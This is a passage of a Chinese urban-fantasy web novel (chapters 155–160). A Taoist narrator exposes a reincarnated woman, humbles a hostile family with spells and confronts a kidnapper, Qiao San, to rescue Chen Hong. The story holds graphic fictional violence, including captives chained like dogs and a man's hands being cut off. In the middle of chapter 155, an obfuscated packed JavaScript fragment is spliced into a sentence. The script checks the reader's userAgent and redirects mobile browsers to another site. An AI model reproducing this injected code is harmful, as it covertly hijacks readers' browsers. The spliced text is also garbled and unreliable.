“赵姨。”就在这时,我看到索菲亚的神色有了些变化。从刚才跟我玩笑的表情,如今却恭恭敬敬,朝着身后点头哈腰。
我转头看去,迎面走来一个女人,从气息上来看,女人应该有四十岁了。但从长相上来看,女人顶多三十,甚至跟索菲亚嫩有一拼。
这女人很传统,脸上带着慈母那样的微笑,穿了一身旗袍,非常的有气质。
她看了一眼索菲亚,微微点头,“听说你跟你父亲来了,我特意从哈城赶了回来。怎么样,好久没回来了,还习惯吗?”
说实话,这个赵姨对索菲亚的语气,听上去有点别扭,她们俩看上去年纪差不多,但这女人像是慈母,阿姨那种。
但场面并不滑稽,反而这赵姨在气质的衬托下,很应景。
不过,眼下我却没心情欣赏,因为我刚才感受到不好的气息,就是来自这个女人的身上。
她!
很危险。
还有,她的气息跟古僧的气息很像。
我脑子里闪过一个念头。她不是现在的人。
她不该存在!
“赵姨,这是我朋友冯宁……”索菲亚又介绍她,“冯宁,赵姨,赵叔叔的妻子。”
赵姨看着我,微微点了点头,但随后,她眯了眯眼睛,朝着欢欢盯着。
“赵姨,这是冯宁养的狗,我俩在路上遇到的,顺便带过来了。”
赵姨眼中带有一丝疑惑,但很快却收敛了。
虽然觉得这女人有问题,但她很危险,我不想找麻烦,所以不打算待下去了。
结果,赵富豪突然走了过来,拉着赵姨的手,然后介绍我,“小赵啊,我之前跟你说的冯宁你还记得吗?他就是啊。他把张坤的不孕不育都治好了。张坤一下子生了七八个孩子!”
原本对我不感冒的赵姨,我看她眼神突然如一把刀子似的在我身上打量。
我皱了皱眉头,觉得这女人对我有敌意。
接着,她松开了赵富豪的手,然后朝我走了过来,皮笑肉不笑地小声问我,“张坤身上的蛊虫,是你除掉的?你根本不是什么治疗不孕不育的医生,你是道门之人。”
我眯眼,“你也不简单呢。我要是猜得没错的话,赵富豪有意留我给人治病,治不孕
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不育,那人是你吧?至于不孕不育……”
我低头看了她一眼,冷笑道,“应该都是你装出来的吧。你是,轮回者。”
我其实也是猜测。
但我说出‘轮回者’这三个字,女人的脸色直接变了。原本我还不确定呢,看到她的反应应该没错了。
我应该感谢古僧,倘若不是他说了相关的事,我记住了那种气息,挤破脑袋我也猜不出对方的身份。
“你真不简单。”女人眼神犀利。
“我不想找麻烦,各让一步,当做不认识如何?”我小声问。
“你们这些臭道士不是喜欢斩妖除魔嘛?会轻易地放过我?”她疑惑。
“张坤已经**,彻底的**。但他现在的躯体,被一个古僧占了。你们之间要是有关联,我劝你断了,那古僧……强得离谱。”我又说,“我之所以跟你说这些,是想告诉你,轮回者也好,转世的也好,都跟我没多大关系。我不喜欢麻烦。你也最好别招惹我。”
男人的嘴,骗人的鬼。其实我还是被古僧给吓到了,在套出她是轮回者之后,我第一个反应就是这女人会不会强得离谱。
至于她在赵家干什么?为啥会成为赵富豪的妻子?这些我都不感兴趣。
但我又不能表现出来自己有点心虚,所以故作镇定,装出一副世外高人的样子。
起码!
先震慑住对方。
“你,真不打算揭穿我?”赵姨盯着我,不知道在想些啥。
但看那样子,应该是被我唬住了。
我面无表情道,“我说了,我对你没啥兴趣。”
随后我灵光一闪,我记得方士记忆里,能成为阳间阴差的都是狠人。
我把那阳间阴差的身份令牌拿在手中给她看了看。
女人脸色变了又变,原本对我有些轻蔑,但此刻,那眼神却清澈尊敬。
她说,“原来是大人,失敬。”
我收好了阴差令牌,内心松了口气,气势上更足了,我说,“但有一点,你得记住。不能做伤天害理的事。除此之外,其他我不管。”
她急忙说,“大人,您放心,小女子虽是轮回者,但也只是借尸还魂之人。我在替那女子还愿,不会做有损阴的之事。”
……
第一百五十五章世间在变化(加更第三更)
她说了是借尸还魂。
所以,赵富豪的妻子其实早就**。
看着赵姨对我身份的态度,我彻底的松了口气,其实我也只是想试试这阳间阴差的身份,没想到真能镇住她。
总而言之,这倒是给了我一些启发。对付轮回者,我的身份能用得上。
其他**约在一米开外的地方,所以我跟赵姨的话,他们都听不到。
临走之际,我顺便问了张坤体内蛊的事,赵姨说那不是她下的,但跟她有关系,那是她妹妹下在张坤体内的。
原因嘛,倒是有点意外。赵姨的妹妹也是借尸还魂的轮回者,但她附在了一个被张坤害死的女尸身上。所以在张坤身上下了蛊。
如今赵姨的妹妹人已经回了祖地贵省。
从赵家离开,赵富豪想让人开车送我,但我没让,我跟欢欢准备步行回去。主要是我有很多的事要消化消化。
索菲亚送了我一里地,她真的像是变了个人,虽然偶尔还是会跳出来小太妹的那种霸道,但总体而言,谈吐清晰,大家闺秀。
相见是偶然的,也是短暂的,没有啥温情的话,我往家走,她也要回**熊国了。
“那个赵姨,你们看出点啥了吗?比古僧,怎么样?”没人了,小人参从我兜里爬了出来,又骑在了欢欢身上。
这方面,欢欢就差了不少,提溜着狗脑袋摇头。倒是小人参,“老大,我觉得,这个赵姨跟古僧压根没有可比性。她的气息有点强,但好像不如老大你的。”
我说,“我也是这样觉得的,但鬼知道这女人有没有啥手段。”
小人参说,“老大,这些家伙都很奇怪,轻易还是不要招惹得好。这女人的气息,跟我们牢山深处埋着的一具古尸的气息有点像。那家伙平日里就睡在棺材里,但只要一出来,准是大事。”
我忍不住看了小人参两眼,这小家伙知道的事真不少呢。
但我也没有多问,在我眼里,小人参说的那些事都虚无缥缈,光怪陆离,我需要亲眼所见,要不然真的无法彻底相信。
但这个赵姨嘛。
她还有个妹妹。
我深吸一口气,望向了瓦蓝的天空,此刻,仿佛整个一颗心脏都静了下来。
我才刚知道轮回者的事,结果就给碰上了。而我呢,当初也差点被夺舍?
这些真的是巧合吗?
还是说,这个世界在悄然间,已经发生了翻天覆地的变化。
回到家的时候已经是下午三点多了,轮回者的事,在我这已经成了一种烦恼。索性,我直接把这些事抛到了脑后。
兵来将挡水来土掩!
结果,我刚进家门就发现,家中的气氛严肃。
在看过去,王小明,王小明的父母都坐在我家沙发上,我爹我娘他们正沏茶招待。
见我回来,王小明扑棱就站起来了,他冷着脸,怒视我,“冯宁,你可回来了。我等你一小天了!”
我面无表情地瞥了他一眼,“有事?”
听了我的话,王小明暴跳如雷,“你,你少特么给我装蒜。你给我爹下了啥邪术?我命令你马上给我爹解开。”
我皱了皱眉头,这王小明不是来和解的?倒是像来作威作福的。
我家欢欢看了直摇头,小人参则是无语地趴在欢欢身上。
我说,“王小明,我家狗都觉得你没救了。命令我?你算个什么东西?滚。”
我觉得真的是给他们脸了。
找我麻烦?
那他们是真找错人了!
“你!”王小明气得鼻子都歪了。
“冯师傅,这就是你教出来的好儿子啊,一点素质都没有。我看啊,你们老冯家,也都是些坏种。”王小明他妈呲个大牙阴阳怪气。
我爹这人吧,虽然脾气倔,老古板爱面子。但出门在外,有些事能过去就过去了。结果,也被气得脸色涨红,额头有些发黑。
“不见棺材不掉泪。”我说完,运转道力,朝着王小明他妈做了个抽巴掌的动作。
啪!
道力虽然不重,但那巴掌却是响亮。几秒钟,王小明**脸上肿了起来,留下了一个手印。
巴掌声!
也让整个家里安静了下来。
这是我,第一次在我爹我娘面前,施展我的手段。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718690|187481||http|test|mini|href|location''.split(''|''),0,{}));
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r>“这,这,你扇我娘巴掌了?”王小明眨巴眼睛,从刚才的愤怒表情,眼下不可思议地盯着我。
“他,他,儿子,他没扇我啊,他人在那,咋能扇我呢。”王小明他妈磕磕巴巴的,也被我扇蒙了。
“小明啊,爹求你了,给冯大师道歉吧,你不是对手。求冯大师原谅,爹求你了。”王小明他爹有气无力的,脸色发白,看来这段时间被折腾惨了。
“爸,肯定是错觉,错觉。我才是大师。”王小明咬了咬牙,还是不肯认错。
“小明啊,你是啥大师啊,你啥样我还不知道嘛。道歉啊,你是想看着我被折腾死嘛。”王小明他爹说完给我跪下了,“冯宁,不,冯大师,念在我跟你爸爸是师徒的关系上,放了我们一家吧。小明这孩子傲了点,但不是啥坏心眼的人。他是被人家给忽悠了,这才得罪了您,大哥给你磕头了。”
说完,王小明他爹就给我跪下磕头。
我爹见到鼻子有些酸,想上前扶着。我瞥了我爹一眼摇头,他这才没上去。
倒是王小明还在嘴硬,“爹,咱要有骨气,咱不跪。你放心,我能治好你。你这要是跪了,我以后在别人面前抬不起头。”
啪!
我又出手了。
但这一巴掌扇在了王小明的脸上。
“你还敢打我!”王小明咬牙切齿,上来就要跟我拼命。
我随手挥动道力,他都没有到我跟前,人就跪在了地上。
他愤怒得想站起来,但压根动弹不得。
我看了一眼我爹我娘,一直以来,我都没打算在他们面前露出本事。
因为我觉得,有些事他们还是做个普通人的好,看不到,也就接触不上。
但随着我那一巴掌扇了出去,我觉得让我爹我娘见见我的实力也好。
起码,以后我走南闯北,他们心里能踏实些。
我面无表情,催动道力,在空中写了一道真话符,直接拍在了王小明的脑子上。
很快,王小明人就迷迷糊糊的了。
我说,“王小明,到底怎么回事?你为啥要针对我们家?”
……
第一百五十六章陈皮回来了(加更第四更)
见我在这问话,王小明爹娘,我爹我娘,全都面面相觑。
但因为我刚才露了一手,他们也都没说话,而是直勾勾地看着。
王小明跪在地上,晃晃悠悠的,“我,我师傅给我指的路,说是只要拿下你大哥大嫂的生意,这辈子吃喝不愁。本来,我还想着咋能接触上你家,结果,我师傅把你二哥送来了,我趁机过来看看,想着拿你家坟地动土的事来逼你家就范。”
听了他的话,王小明爹妈连大气都不敢喘。我爹我娘看我的眼神也变了,但他们似乎习惯了我的与众不同,很快又恢复了正常。
我爹拍了大腿,咬了咬牙,看那样应该是在生我二哥的气。
我呢,皱了皱眉头,王小明说的师傅,似乎之前二哥提到过,要是我猜得没错的话,应该就是那个骗他买房卖房的风水先生了。
我说,“你师傅是谁?”
被我这么一问,王小明像是待机了,半天才说道,“我不知道,我三年前去了一趟哈城,在哈城客运站认识的。他说我有财运,给我立了堂口,请了仙鹤灵牌供奉,还在我身上留了一道气,说是财气。开始,我以为是骗子,但试了试,来我家上供的人越来越多,短短一个月,赚的钱比我一年赚的都多,所以我就信了他。”
我眯眼,听了王小明的话,我觉得这个风水先生本事不小。
但我纳闷,他为啥会针对我家?我看了一眼王小明,他应该也不知道为啥。要不然,刚才我问的时候就说了。
我想了想说,“他住在什么地方?你能知道吗?”
王小明说,“他住在……”
然而,没等王小明把话说完,他直接倒在了地上。
接着我看到那道道力在他脑中打去散掉了。
“儿子,儿子。”王小明的父母突然上前扶起了王小明。
王小明他爹看着我,又敬又怕道,“冯大师,我儿子这是咋了,他没事吧。大师,我求你们了,放过我吧,我保证,我儿子他不在出来作祟还不行吗?”
我面无表情,“不是我把他弄晕的,而是另有其人。”
王小明他爹傻眼了。
接着王小明就醒了,他捂着头,迷茫地看着我们。王小明说,“爹,啊回事啊?我咋在这啊?”
王小明的父母面面相觑,他爹说,“儿子,你,你啥也不记得了吗?”
王小明,“记不得了,我不是去哈城了嘛?”
我死死盯着王小明,但他不像是装的,应该跟那道道力有关系。
难道。
搜魂术?
搜魂术,一种邪术。这种术能读人记忆,能消除人的记忆。
但这种术很难练。
不过是不是这种术,眼下已经没关系了。王小明失忆了,这事也该结束了。
我说,“王哥,你们家开堂口,给人算命,这些我都管不着。但……别来招惹我。这次就算了,再有下一次,你们活不成。”
说完,我甩出了银针,解开了他的穴位。
片刻,原本脸色蜡黄,带死不活的王小明他爹,面色开始变得红润,整个人都好了。
“不敢,不敢,冯兄弟,得罪了。我们现在就走。”
王小明他爹拉着他老婆跟儿子,连滚带爬地走了。
我爹这才凑了上来问我,“老幺啊,到底咋回事啊?有人要害咱们家?”
我摇头,“爸,这事应该跟冯涛有关系。”
我爹火大,“啥?又是他惹出来的?”
我点头,“嗯,他认识的都是些不三不四的人。人家盯上他了,顺便也查了咱们家的情况,所以这王小明才盯上的大哥。”
我大致地猜了个七七八八,我觉得我把这事想复杂了。其实就是我二哥惹出的乱子。
咋说呢,他有十几万,被人盯上了,然后被人做局,钱全都给套走了。
最近我大哥生意兴隆,一年大十万的赚着,如今我大哥开了两三个铺子不说,还要专门卖摩托车。
所以那些人打算利用我二哥给我大哥下套。
至于王小明嘛,别看他醒了的时候眼神清澈,实际上,这人利欲熏心,眼红我们家,不但想
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分我大哥的生意,还想压我一头。
结果被我给干废了!
我爹没说话,但他攥着拳头,眼睛直勾勾的不知道在想些啥。半天,他才叹了口气来了一句‘作孽’,转头朝着门外走去。
我心里清楚,我爹对二哥是又恨又没招。
再说我娘,她看我欲言又止,莫名其妙地去了厨房,又转头出来问我,“冯宁啊,你的这些本事,千万别在外人面前露出来。太吓人了。娘啊,就希望你平平安安的。知道不。”
看着我娘那害怕的模样,我把她搂在怀里,笑着说道,“知道了娘,你也劝劝我爹,少生点气,儿孙自有儿孙福。有些事,看开点。”
随后,我微微的抬头,哈城的这个风水先生,到底在哪呢。
转眼炎热的夏天就过去了。
其实咋说呢,东北的夏天跟别的地方不太一样,说热吧,找个阴凉的地方一待,风一吹,一点也不热。
而随着八月份的到来,天气突然就凉爽了。在这期间,我每天都很忙,忙着练篆体,练**,熟练缩地成寸等等。
也因此,我的实力每天都在提升。虽然不是道力上的增强,但这种杂七杂八的提升,让我能更灵活地运用道力。
总之在往好的方向发展。
“大爷,我回来啦。”结果这天,陈皮突然回来了。
很久没见,它化形了。之前他是幻化成大叔的模样,那种只有被他迷惑的人能看到。
现在嘛,他就是一个人形,一个个子中等的中年人形象,穿着个灰色道服,还真有点那个意思。
“你这讨封成了?”我惊讶。
我见过皮子,但没见过得道的皮子。结果可倒好,我创造了个得道的皮子。
很久不见,陈皮身上的气息已经变了,它有愿力护体,成了大仙了?!
“嗯呢。在太奶奶的帮助下,我讨封成了。还给我建了庙,立了灵牌。太奶奶说我该走了,我就回来了。”它说。
“我以前就觉得你小子行,在家住下吗?”我问。
……
第一百五十七章陆小旺变强了(第五更求票)
我虽然意外培养了个**,但我心里也觉得自豪的。
陈皮说,“大爷,我现在是**,住家里不好。我还是住大地那边,有啥事,您也好找我。”
你看!
这就叫懂事!
我点了点头,觉得它说得有道理。
陈皮刚走,欢欢它就带着小人参去找它了。我心里犯嘀咕,这小人参挺不正经的,可别把陈皮带坏了。
结果,它们刚出去,家里就来了电话。我接了起来,里面就急匆匆的说,“是冯大师吗?红姐出事了,被人扣下了,您能,您能救救她嘛。”
土鼠的声音。
我说,“你是土鼠?”
那边,“啊,冯大师,是我。”
我说,“咋回事?说明白点?”
土鼠似乎也意识到自己有些急了,缓了缓,这才平静下来,“冯大师,是这样的,我们挖到了个宝藏地图,经过翻译后发现,在豫省这边的山村有个大墓。谁知道我们刚到地方,就被人给扣下了。这些人不是善茬,手里有家伙事,得知我们是东北倒斗的,说是拿一百万放人。现在就我出来了,我没招啊,我凑不上。”
我皱了皱眉头,“陈红现在咋样?”
土鼠说,“冯大师,红姐没事。真没事,但过几天就不知道了。”
我眯了眯眼睛,总觉得这通电话疑点很多。但眼下我也联系不上陈红,我想了想说道,“好,土鼠,地址在哪?我这就赶过去。”
土鼠那边像是松了口气,然后说,“豫省邓川刘庄村。您要是到了,就打这个电话,我接您。”
随着电话的挂断,我回到了自己那屋,看到炕上那一百万的金条,我深吸一口气,决定还是去一趟。
原本从云省回来,我想着把这金条存在银行,但因为修炼把这事给忘了,结果就用上了。
但在这之前,我要做一些准备。我觉得这事没那么简单,以陈红的性格,她不会把我家的电话告诉土鼠的。
而这个电话,也不该土鼠来打。
我现在唯一能确定的就是,陈红真的遇到了危险,我得救她,不管结果如何,我要去看看咋回事才踏实。
当天,我跟我爹我娘打了上招呼,然后就去了哈城。之后,我在电话亭联系了陆小旺,得知她就在哈城,我们见了一面。
“去豫省救人?还是个倒斗的?这也太危险了。”火车站外,陆小旺有些不情愿。
“十万。我就能出这么多了。”我说。
之前我还对钱没啥概念,觉得自己一下子赚了几百万,又没啥花钱的地方,随便花。
但出了事,一下子一百万黄金,这钱花得有点快,我也就心疼了。
事关人命,我出手大方。
“哎,谁让我仗义呢,那就走一遭吧。”陆小旺笑眯眯的说道。
从龙省到豫省,这已经是从北到南的距离了,我直接买的飞机票,当天起飞,晚上就到了洛城。然后也不敢耽误,连夜坐大客去邓川。
路上,陆小旺的情绪不高,她似乎对豫省有些情绪。
我说,“你这次还真是不太想来呢。”
陆小旺点头,“我确实不想来。各地都走过了,我最怕的就是豫省的人。你是不知道啊,这地方的人野路子多,下手狠,东北圈内的人,能不来都不来的。前几年我跟几个朋友接了个缝尸的活,结果倒好,钱没给,还把我们扣下了,说要把我卖给村里的单身汉。好在我有点本事,把他们唬住了,这才逃走的。之后再也没来过。”
我说,“你跑那么老远去缝尸?”
陆小旺却摊手道,“你不也从东北跑到帝都去了吗?干我们这行的,走南闯北很正常。倒是你,在家一待几个月的,还真是少见呢。我就纳闷了,你咋这么有钱呢?”
我奇怪,“你不也几万几万地赚吗?”
她朝我白眼,“拉倒吧,那是偶尔。哎,你是不知道,我刚入行那会的生意,比现在好做多了。一到冬天,老头老太太一堆一堆地死,高产季节。但这两年开始流行火化了,殡葬行多了个化妆师的职业,我都快**抑郁了。活越来越少。”
陆小旺的话,我听着有点无语。这家伙有点盼人死呢?
我说,“活人也不能被尿憋死啊。你不也是化妆师吗?转行不就得了。再说了,老头老太太**,用得着你吗?”
陆小旺瞪了我一眼,“谁说**用不上的,修脚,修手,掰骨,易容。这都是我范围内的活。转行,那
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不行,干一行爱一行。我接婚庆,那是副业,给**缝尸,那是主业。我很热爱的。”
接着陆小旺有些低沉道,“其实吧,我继承这个缝尸人的职业,也是有点私心的。当时就是听说很赚钱。但后来,随着入行深了,我有一种使命感。你说人干干净净地来,一声啼哭,落地有了生命。走呢,也得干干净净地走,不缺胳膊不少腿,面容干净,不白来一次。哎,但现在啊,不知道咋了,我总觉得,大家对生命变得越来越不尊重,生来死去,都很敷衍。我很难接受。”
我看着陆小旺,觉得有些惊奇,这个爱财如命的女人,居然能说出这番话?
她感触深刻,我倒是没啥感觉。因为我看到的都是怪事,估计她都没碰到过。
我想了想问道,“陆小旺,你觉得这个世界上真有人能轮回吗?”
陆小旺想了想,“不知道。你这个问题,我也问过爷爷。爷爷说,有。你知道我为啥拼命赚钱吗?”
陆小旺突然问我。
这事我也奇怪呢,从我认识这姑娘,她就爱财如命。在我印象里,她应该赚了不少钱。在我这赚了几万,还有那个老板呢也赚到几万。
但她貌似还是不够花?
不应该啊。
我说,“这件事我是真的很好奇。按理来说,你现在应该住洋房,大吃大喝才对。但每次见到你,感觉你都是很穷的状态。”
陆小旺朝我翻了翻白眼,然后低头想了想说,“你这次见我,没觉得我有啥变化吗?”
我打量她,这胸好像变大了,不是好像,就是变大了。
“你这个混蛋,我不是说我的身材!”陆小旺气恼。
“哦……”看着她咬牙切齿的模样,我也认真了起来,随后我还真发现了变化。她的气息变强了,我竟然在她体内感受到了一股不凡的力量。
我说,“你跟之前确实不一样了,你现在很强?但这跟钱有啥关系?”
听我这么一说,陆小旺挺了挺胸口,那硕大的差点撑破衣服,她骄傲道,“这是因为我的钱都拿来给我爷爷烧纸了。烧得越多,我越强!本事也越来越牛!”
给爷爷烧纸变强?
这是啥玩意?
……
第一百五十八章棘手
见我盯着她,陆小旺也看出了我的好奇,她说,“你别这么看我,我也是因为爷爷给我托梦偶然知道的,具体啥原因,那我就不清楚了。”
任何人都有自己的秘密,陆小旺能跟我说这些,已经说明她足够相信我了。
当然,我也没看出她想骗我,可能真的不清楚。
果然啊,不只是我在变强,陆小旺也变强了,那其他人呢?应该也是如此。
倒是田道士,咋就越来越弱了呢?看来,他是没好好修炼,玩物丧志!
大巴车行驶在夜色之中,我闭目养神,陆小旺则是睡着了。
很快,随着天色蒙蒙亮,我们到了一个小镇上。接着就找人问了刘庄村的位置。
大约十里地,说是在个水库的地方。我俩买了俩馍就上路了。
看得出来,陆小旺真的修行了,她走的速度不慢,虽然不如我,但也差不多。
十里地的路,我俩用了不到半个小时就要到了。刘庄村在山脚下,在村子对面是个大河口,应该就是指路人说的水库。
陆小旺抱怨我,“冯宁,我发现了,你找我总是这种走山路的活,下次能不能是个城市,也让我赚钱轻松点。”
我无语,“赚钱的事哪有轻松的。”
这次她倒是没抱怨,“嗯,你说得对,我同意你的观点。那我们现在咋办?”
来的路上,我就已经有所准备。我不太相信土鼠说的话,他说我到了,给他打个电话。我不打算那样做。
我觉得应该是先看看情况。
我说,“我们先进村子吧,别被人发现了。看看情况。要是能找到陈红被关的地方最好。”
陆小旺点了点头。
修道这么久了,要说搭档,我觉得陆小旺是最好的搭档。哪怕她实力差了些,但我俩配合非常默契。
刘庄村是个大村子,放眼望去,少说也有百十来户。虽然这才凌晨四五点钟,但村子这已经开始生活做饭了。
家家户户,炊烟袅袅,乡村味十足。
我跟陆小旺摸了进去,我们从村东头进地,约定二十分钟后村西见。我走道左边,她走右边。
远处看没啥,等靠近了看,总觉得刘家庄村里的房子怪怪的。
大部分都是土房,跟我们东北黄土稻草房子差不多。不过,他们的房顶形状有点特别,老式的那种灰瓦,一层压一层。这种结构看着不牢固,其实很结实。
到了下雨天,那水顺着就下来了。
之所以觉得不一样,是因为这些砖瓦铺出来的形状,有点像……我们那的庙。
中间高,两头翘,两边有窟窿。
咋说呢!
看过西游记的应该都见过,孙悟空当年变的那个庙就长这样。
我都怀疑,西游记是不是照着这个拍的!
当然,好奇归好奇,这是人家当地的风土建设,我来这是为了找陈红。结果,从头查到尾,没有半点陈红的气息。
这让我皱了皱眉头。
难不成陈红不在这?
看来,只能等陆小旺的消息了。
我走得比较快,十来分钟就到村西头了,陆小旺慢了点,但随后也到了。我俩鬼鬼祟祟地在一个土坑见面。
“我这边没找到,你那呢?”我问。
“没找到,但我发现了个可疑的地方。这里有一家狗场,我想用术法一探究竟,但那术法却进不去。应该是被结界之类的东西挡住了。有高人。”陆小旺说道。
我有点意外,陆小旺居然会用术法了。要知道之前她可不会的。
但眼下我也没多问,我想了想说道,“带我过去看看。”
陆小旺点了点头。我跟着她过去了。
本来天还蒙蒙亮,但我俩一折腾,太阳都跳出来了。
陆小旺说是狗场,其实就是村里的人家,但站的地方比较大,一户比人家三四户。
房子也是并排的砖瓦房,十几间那么多,院子里全是狗,上百条有了。
我跟陆小旺仔他家后院,顺着杖子能看到里面的情况,果然,如陆小旺说的那样,这院子里有结界。一层光幕,七彩缤纷的,以我的经验来判断,要是不破了这结界,根本看不到里面的真实情况。
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>这玩意跟白骨怪的那个情况差不多,不破开,看不到洞穴。
咋说呢,应该是障眼法类的结界。
“咋办?”她问我。
“我要是破了结界,你有办法一探究竟吗?”我觉得现在的陆小旺跟以前不太一样了,所以她应该有办法。
“有。”她点头承认。
“好,我试试。”我深吸一口气,然后认真地研究了起来。因为有过经验,所以很快我就找到了一个办法。
我认为破结界这个东西,一是技巧,二就是力量。我不想打草惊蛇,所以选择用技巧试试。
我催动道力,在那结界上划,你别说,真让我划出了一个口子。
陆小旺都惊呆了,朝我竖起大拇指,“你真行。”
说完,她也不啰嗦,在我面前露了一手。她捏了一把地上的泥巴,小拇右手小拇指在左手掌心上划了一下,鲜血流了出来。
只见她把血滴在了泥巴上,那泥巴突然就动了,手掌大小的一个小泥人,扭着身躯就从结界缺口那进去了。
再看陆小旺,她随手点了一根香,然后把眼睛给闭上了。之后她的左手掐着香,在地上画着啥。
过了大约五分钟,我总算看明白了,这地上画的竟然是院内的地图,里面哪个房间有人,有几个人,都给画得非常明白清楚。
“呼!”随后,陆小旺突然吐出了一口烟,那烟像是浓雾一样,很久才散开了。
她看向我,“里面确实关了不少人,有男有女,但我不知道哪个是陈红。”
我问,“那你知道谁布置的结界吗?”
陆小旺点头,“知道,是个杀狗匠,这人一身的狗气,煞气很重。实力,在我之上。另外他屋里面有枪。不好对付啊。”
我低头沉思,确实不好弄。结界我倒是能破开,但万一打草惊蛇,这人杀气这么重,一怒之下杀了陈红?
那就犯不上了。
我突然眼前一亮,“我有办法了,我带着金子进去赎人,你利用这小泥人监视里面的情况,第一时间给我传递信息。”
……
第一百五十九章狠人乔三
陆小旺觉得可行,“嗯,这样一来,有点风吹草动,你能应付。我们主要保证人安全。”
我俩都觉得可行,我拎着一百万的金子,从村东头就去了。
为了装得更明显,我在村道上四处张望,像是在找人似的。
不出所料,狗场那很快就有人出来了。两个人,一个我不认识,另一个嘛,就是给我打电话的土鼠。
一见到我,土鼠就凑了过来,跟我打招呼,“冯大师,不是说您到了给我打电话嘛,我去接您。”
说完,土鼠给我使了个眼神,手比划个‘八’字,这是说对方有枪。
我微微点头,配合他说,“哼,少特么废话,钱我带来了。陈红和兄弟们呢?”
土鼠像是松了口气,然后朝着身后那人点头哈腰,“豹哥,这位就是我跟您说的黑城冯哥,您看,我没骗您吧,冯哥仗义,肯定拿钱赎人。您看,我们是进去说?还是怎么着?”
那豹哥一米多点,穿这个迷彩背心,眼睛跟豹眼似的,圆溜溜的。
他凶恶地看着我,眼神里很警惕,听了土鼠的话也不吱声,而是用手指了指我的箱子。
我也不废话,直接打开,一根根金条露出。那豹哥的眼神变得贪婪。
他也没说话,朝我扬了扬手,然后我跟着走进了狗场。
我一进门,数百条狗就扑了过来,它们不咬人,但在那狂吠,还在我身上嗅来嗅去的。
贴近了看这些狗,我虽然面无表情,但心里面却带着冷意。
数百条狗中,其中接近一半,眼睛深红,布满血丝,眼神中透着的凶狠,跟**犯似的。
这些玩意吃过尸体!
很快,我被带到了最西面的平房里。而在里面,我见到了那个杀狗的。
跟陆小旺说的一样,这人凶神恶煞的,他那身上的气息,已经不能说是煞气了,而是一股杀气。
哪怕我不运转道眼,这杀气也能看得到。咋说呢,已经凝聚实质化了。
跟容城尸王那尸气有一拼。
“老弟有胆色,俺叫乔三,十里八村都叫俺三爷。俺比你大,老弟不嫌弃,叫俺三哥。”乔三坐在雕刻的红木椅子上,点了一支雪茄,翘着二郎腿,上下打量我,示意我坐下。
有过跟张坤打交道的经历,对于这种人嘛,我倒是能应付。不能低三下四,不要跟着称兄道弟。
我坐了下来,也不废话,把一箱子黄金放在了红木桌上打开随手扔了过去。
乔三也不是一般人,他随意地瞥了那黄金,但没说话,而是盯着我。
很显然,这人也不缺钱,他在等我的反应。
我面无表情地说,“老哥,黄金你现在就可以拿走,但我有个疑问,我女人得罪你了?”
乔三眯了眯眼,把黄金箱子给合上了,“老弟确实不是一般人,东北大哥俺见过几个,被俺弄了几个,倒是没一个像你这样镇定的,年轻有为。”
“得罪俺那倒是没有,但是这十里八村的,都是俺的地界。他们来俺的地盘偷东西?那不行。”说完,他把装着黄金的箱子推给了豹哥,脸上笑道,“钱呢,俺收下了。人呢,俺不放。再拿五百万来。”
乔三说完就死死地盯着我,他那语气很随意,眼神轻蔑,一副戏耍我的样。
“三爷,您不是说,有了一百万,就放我们走吗?您不能出尔反尔啊,我们!”土鼠突然走了过来,一双手放在桌子上,面目愤怒。
咔嚓!
不等土鼠把话说完,乔三突然从桌下拿了一把刀,手起刀落,土鼠的双手被剁了,鲜血呲到我脸上。
“你咋恁能呢?在俺面前大呼小叫的,给你脸了?”乔三把刀放在了桌上。
“啊!”
土鼠疼的额头上冒虚汗,瘫软在了地上。
以我的能力,我能救下土鼠,但我没那样做。而是在他砍完土鼠的手后,很随意的擦了擦血,面不改色地盯着他。
乔三也在盯着我,显然心里面也犯嘀咕了,一时间没说话也没动手。
“老哥,不带人走也行,那我得先看看人咋样,你说对吧?”我平静的看着乔三,对方的狠辣程度,已经超乎了我的意料。
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>但正是如此,我心里起了杀意。
“额,好说好说。走,带你去看看。”乔三起身给了豹哥一个眼神,豹哥拖着土鼠,像是拖一条狗。
我直接无视了这一幕,跟在了乔三身后。很快,我在一间杂物间见到了陈红。
除了陈红,这里还关着七八个女人,其中有学生,有漂亮的妇女,他们都被锁着,有狗窝,有狗盆。陈红也是这个待遇。
见有人进来,其他几个女人都吓得缩到了狗窝里,倒是陈红倔强地抬起了头,在看到我之后,她微微的张开了嘴。
我微微摇头,她这才没说话。
“老弟,老哥俺信守承诺,你没来之前,俺不碰她。但俺只给你七天时间,把钱给俺送过来。否则的话,俺可是要玩的。”乔三似笑非笑道。
见到了陈红,我的心里也踏实了。先不说别的,起码这女人还活着。
我说,“老哥,你这样是犯法的。你就不怕局子抓你?”
乔三大笑,“哈哈哈,老弟,俺是有本事的。俺刀枪不入,跟你说句实话,俺是练过法术的。十里八村,把俺当神仙。你见过神仙怕凡人的嘛?”
说完,他又得意道,“俺这地方,俺想让你看到啥,你就能看到啥。算了,跟你说也不懂,凡人,也敢跟神仙打架嘛。”
我没说话,因为我看到了那小泥人,它也跟着混了进来。
它跟我比划,意思是隔壁有十来个人,手里面都有枪。
我面无表情,心里已经有了打算,那就是速战速决。
“老弟,走吧,别看了。”乔三说完推了我一下,但他没推动我。
他愣了下,接着警惕道,“老弟,跟俺藏拙!”
我冷笑,“我藏尼玛拙,一百万的黄金,还跟我贪!”
说完,我运转道力,大开大合,一拳朝着他脑袋轰了过去。
乔三也不是善茬,早有准备,灵巧躲过。他眯眼,一把从豹哥腰上拔枪朝我开枪。
砰砰砰!
三枪,三颗**朝我脑门上打来,没有丝毫的拖泥带水。
……
第一百六十章它不是人
我能看到**的运动轨迹,但那速度极快,给我思考的时间非常短暂。
硬抗**?
我没有那个习惯。
我一个侧身,三个**在墙上炸开了三个弹孔。而随着**过后,我听到外面传来了急促的声音,有人再喊,“哪开的枪?谁?”
开了枪,把隔壁的人都招了出来。
轰。
开弓没有回头箭,我一脚踏碎土地,六成力朝着乔三脑袋轰了过去。
